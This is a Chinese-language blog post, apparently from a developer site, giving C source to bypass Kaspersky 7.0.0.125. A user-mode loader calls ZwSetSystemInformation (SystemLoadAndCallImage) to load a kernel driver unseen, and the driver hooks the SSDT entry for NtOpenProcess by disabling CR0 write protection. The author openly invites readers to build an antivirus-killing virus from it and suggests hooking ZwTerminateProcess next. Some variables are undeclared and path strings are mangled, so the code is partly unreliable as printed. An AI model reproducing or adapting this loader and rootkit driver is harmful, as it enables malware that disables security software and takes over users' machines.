卡巴のZwSetSystemInformation的心寒
ZwSetSystemInformation的使用,卡巴7.0.0.125的失誤.
前提:好几個月前有人公布了點卡吧的失誤,當時我沒留意,前天復習好無聊,試驗了一下結果嚇了一跳.好似現在中國都是用7.0.0.125這個版本的,危險,雖然7.0.1.133已經封了這個函數了不過是英文版,沒多少人去用吧?好了,下麵直接寫源碼并解析,相信對病毒有興趣的朋友會懂吧,又可以寫一個AV終結者類的病毒了.(源碼來自www.rootkit.com)
實驗對象:卡巴7.0.0.125
實驗函數:ZwSetSystemInformation
實驗內容:繞過卡吧裝驅動(多麽恐怖的事),結果將會使系統失去防禦
// TestKisOfZwSetSystemInformation.cpp : Defines the entry point for the console application.
//
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
// New Deployment Module for rootkit 040
// -------------------------------------
// -Greg Hoglund http://www.rootkit.com/
/*
有关ZwSetSystemInformation的用法可以参考Gary Nebbett的《Windows NT/2000 Native API //Reference》
ZwSetSystemInformation设置影响操作系统的信息,定义如下:
NTSYSAPI
NTSTATUS
NTAPI
ZwSetSystemInformation(
IN SYSTEM_IMFORMATION_CALSS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength);
参数:
SystemInformationClass:将被设置的系统信息的类型,值为SYSTEM_IMFORMATION_CALSS枚举的一个子集,SystemLoadAndCallImage就是
SystemInformation:
typedef struct _SYSTEM_LOAD_AND_CALL_IMAGE{
UNICODE_STRING ModuleName;
} SYSTEM_LOAD_AND_CALL_IMAGE,*PSYSTEM_LOAD_AND_CALL_IMAGE;
SystemInformationLength:長度sizeof(SYSTEM_LOAD_AND_CALL_IMAGE)
成员:
Module:要加载模块的NATIVE NT格式的完整路径
备注:
这个信息类只能被设置,不是设置任何信息,而是执行把一个模块加载到内核地址空间和调用其入口点的操作。期望入口点例程是一个带两个参数的__stdcall例程(与设备驱动程序的DriverEntry例程一致)。如果入口点例程返回一个失败代码,则卸载模块。
SystemInformation:指向含有被设置信息的一个调用者分配的缓冲区或变量
SystemInformationLength:以字节为单位的SystemInformaiton的大小,根据给定的
SystemInformationClass来设置它
*/
//*-----一些數據類型的定義開始--------------
typedef unsigned long NTSTATUS;
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
typedef VOID (__stdcall *RTLINITUNICODESTRING)(
IN OUT PUNICODE_STRING DestinationString,
IN PCWSTR SourceString
);
typedef NTSTATUS (__stdcall *ZWSETSYSTEMINFORMATION)(
IN DWORD SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength
);
typedef struct _SYSTEM_LOAD_AND_CALL_IMAGE
{
UNICODE_STRING ModuleName;
} SYSTEM_LOAD_AND_CALL_IMAGE, *PSYSTEM_LOAD_AND_CALL_IMAGE;
#define SystemLoadAndCallImage 38
//*-----數據類型的定義結束--------------
void main(void)
{
SYSTEM_LOAD_AND_CALL_IMAGE GregsImage;
RTLINITUNICODESTRING RtlInitUnicodeString;
ZWSETSYSTEMINFORMATION ZwSetSystemInformation;
if( !(RtlInitUnicodeString =
(RTLINITUNICODESTRING) GetProcAddress(GetModuleHandle("ntdll.dll"),
"RtlInitUnicodeString")) )//在ntdll.dll中获取RtlInitUnicodeString地址
exit(1);
if( !(ZwSetSystemInformation =
(ZWSETSYSTEMINFORMATION) GetProcAddress( GetModuleHandle("ntdll.dll"),
"ZwSetSystemInformation")) )//在ntdll.dll中获取ZwSetSystemInformation地址
exit(1);
RtlInitUnicodeString( &(GregsImage.ModuleName),
L"//??//C://NtOpenProc.sys" );//加載的驅動就是這個了
if( NT_SUCCESS(ZwSetSystemInformation( SystemLoadAndCallImage,
&GregsImage, sizeof(SYSTEM_LOAD_AND_CALL_IMAGE)) ))//加载进内核空间
printf("Rootkit Loaded./n");
else printf("Rootkit not loaded./n");
}
驅動源碼是來自CSDN上的一篇文章的,內容是還原SSDT并可以繞過Inline Hook的(還原對象是NtOpenProcess),忘了文章的名稱,作者抱歉.
#include<ntddk.h>
typedef struct _SERVICE_DESCRIPTOR_TABLE
{
PVOID ServiceTableBase;
PULONG ServiceCounterTableBase;
ULONG NumberOfService;
ULONG ParamTableBase;
} SERVICE_DESCRIPTOR_TABLE,*PSERVICE_DESCRIPTOR_TABLE; //由于KeServiceDescriptorTable只有一项,这里就简单点了
extern PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable;//KeServiceDescriptorTable为导出函数
//---------------------------------------------------------------------
__declspec(naked) NTSTATUS __stdcall MyNtOpenProcess(
PHANDLE ProcessHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PCLIENT_ID ClientId)
{
DbgPrint("NtOpenProcess() called");
__asm
{
push 0C4h
push 804eb560h //共十个字节
jmp [JmpAddress]
}
}
//---------------------------------------------------------------------
VOID Hook()
{
ULONG Address;
Address = (ULONG)KeServiceDescriptorTable->ServiceTableBase + 0x7A * 4;//0x7A为NtOpenProcess服务ID
DbgPrint("Address:0x%08X",Address);
OldServiceAddress = *(ULONG*)Address;//保存原来NtOpenProcess的地址
DbgPrint("OldServiceAddress:0x%08X",OldServiceAddress);
DbgPrint("MyNtOpenProcess:0x%08X",MyNtOpenProcess);
JmpAddress = (ULONG)NtOpenProcess + 10; //跳转到NtOpenProcess函数头+的地方,这样在其前面写的JMP都失效了
DbgPrint("JmpAddress:0x%08X",JmpAddress);
__asm
{//去掉内存保护
cli
mov eax,cr0
and eax,not 10000h
mov cr0,eax
}
*((ULONG*)Address) = (ULONG)MyNtOpenProcess;//HOOK SSDT
__asm
{//恢复内存保护
mov eax,cr0
or eax,10000h
mov cr0,eax
sti
}
}
VOID Unhook()
{
ULONG Address;
Address = (ULONG)KeServiceDescriptorTable->ServiceTableBase + 0x7A * 4;//查找SSDT
__asm
{
cli
mov eax,cr0
and eax,not 10000h
mov cr0,eax
}
*((ULONG*)Address) = (ULONG)OldServiceAddress;//还原SSDT
__asm
{
mov eax,cr0
or eax,10000h
mov cr0,eax
sti
}
}
//---------------------------------------------------------------------
VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
Unhook();
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,PUNICODE_STRING RegistryPath)
{
DriverObject->DriverUnload = OnUnload;
Hook();
return STATUS_SUCCESS;
}
好了,可以測試結果了,加載驅動是成功的,卡巴沒反應,此時用普通的軟件(例如:Syscheck2)都可以看到卡巴加載的模塊了,我就寫還原NtOpenProcess而已,但如果加多幾個函數,例如ZwTerminateProcess咧,那個恐怖,任務管理器就可以輕鬆結束掉卡吧(不過卡巴7嘛,沒那麽容易結束的,哈哈).
總之能繞過卡巴裝了驅動 , 恐怖 ! 黑客幾乎沒什麽不能做了 .
卡巴のZwSetSystemInformation的心寒相关推荐
- 击败安全系统系列文章之突破卡巴6
击败安全系统系列(0)之前言 最近越来越感觉现阶段的各类安全系统设计上都存在一定的不足,没把各种可能的安全威胁考虑进去,在 Cever Hackers 面前就无能为力了.为了帮助各类安全软件设计上更完 ...
- 黑洞2007自定义协议版本 演示穿越卡巴6和ZA防火墙
<<黑洞2007>>自定义协议版本 http://www.138soft.com/download/brc2007demo.rar 演示穿越卡巴6和ZA防火墙!现在外面的穿越卡 ...
- 卡巴循环30天不限次数循环试用工具
本文需评论之后方可查看! @echo off @title 卡巴循环30天不限次数循环试用工具 @echo off echo 卡巴循环30天不限次数循环试用工具 echo. echo ======== ...
- 卡巴绿杀6 By Moshow魔手
卡巴绿杀6 By Moshow魔手 Kaspersky Anti-Virus Move-edition 6 (-_-b汗Move Edition...)[这是卡巴斯基绿色移动版本·推荐用于u盘] By ...
- 乱谈卡巴CCTV黄金时段广告
好长时间没看电视了,昨天晚上下班早,也没加班,回家只看到了新闻联播的尾巴,一琢磨正好看看天气预报.结果凑巧看见了卡巴的广告,虽然这广告因为被泄露我在网上早就看过了,虽然只有15秒但是它可以打进这样的黄 ...
- 卡巴2009与word冲突完美解决方案,经测试几十台计算机全部通过
<?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /> 如果安装了卡巴 ...
- oracle删除redo 未重启,卸载金山和瑞星后未重启就安装了卡巴,系统进不去了
卸载金山和瑞星后未重启就安装了卡巴,系统进不去了 来源:互联网 宽屏版 评论 2010-08-03 20:52:26 分类: 电脑/网络 >> 软件 问题描述: 如题.我机器上原来有金 ...
- 儿子考上清华大学计算机系视频,儿子考上清华大学,家长忙发朋友圈,但收到的却不是祝福是心寒...
现代人特有的分享方式:发朋友圈动态. 每年能够考上清华大学的学生虽不是普遍现象,但还是要求考生花费一些力气的.即便是认为学生的能力再强,当得知学生考上清华大学的那一刻也是激动万分的,毕竟这是一件光耀门 ...
- 装了卡巴电脑更卡?原来是Trojan-PSW.Win32.QQPass等盗号木马群作梗2
装了卡巴电脑更卡?原来是Trojan-PSW.Win32.QQPass等盗号木马群作梗2 endurer 原创 2008-04-15 第1版 (续1) 开始修复~ 到 http://purpleend ...
最新文章
- 【论文解读】MV3D-Net、AVOD-Ne用于自动驾驶的多视图3D目标检测网络
- Java高级特性:clone()方法
- poj 1797(最短路变形)
- selenium webdirver之rdoc使用
- office professional 2010 key
- clamav Java_ClamAV安装使用及API例子
- mysql for 语句执行顺序_MySQL使用profile分析SQL语句执行过程
- PHP(2):搭建PHP 运行环境中可能出现的问题及处理方法
- Compare int a and int b without if
- 动态修改php的配置项
- 要点初见:用Python进行微观交通模型仿真——基于SUMO的伯克利开源项目Flow Project初探与拓展
- 为什么程序员会秃头?盘点程序员糟心的几大因素
- 2021年深度学习哪些方向比较新颖,处于上升期或者朝阳阶段,比较有研究潜力?...
- HM-A300小程序安卓打印异常
- 牛啊!微信支持发送彩色红包~~
- 硬盘柱面损坏怎么办_硬盘0磁道损坏怎么办
- Python pip 安装与使用
- 解决谷歌浏览器打开控制台有延迟
- JRebel has expired Jrebel过期解决!!
- JS计算当前日期的周次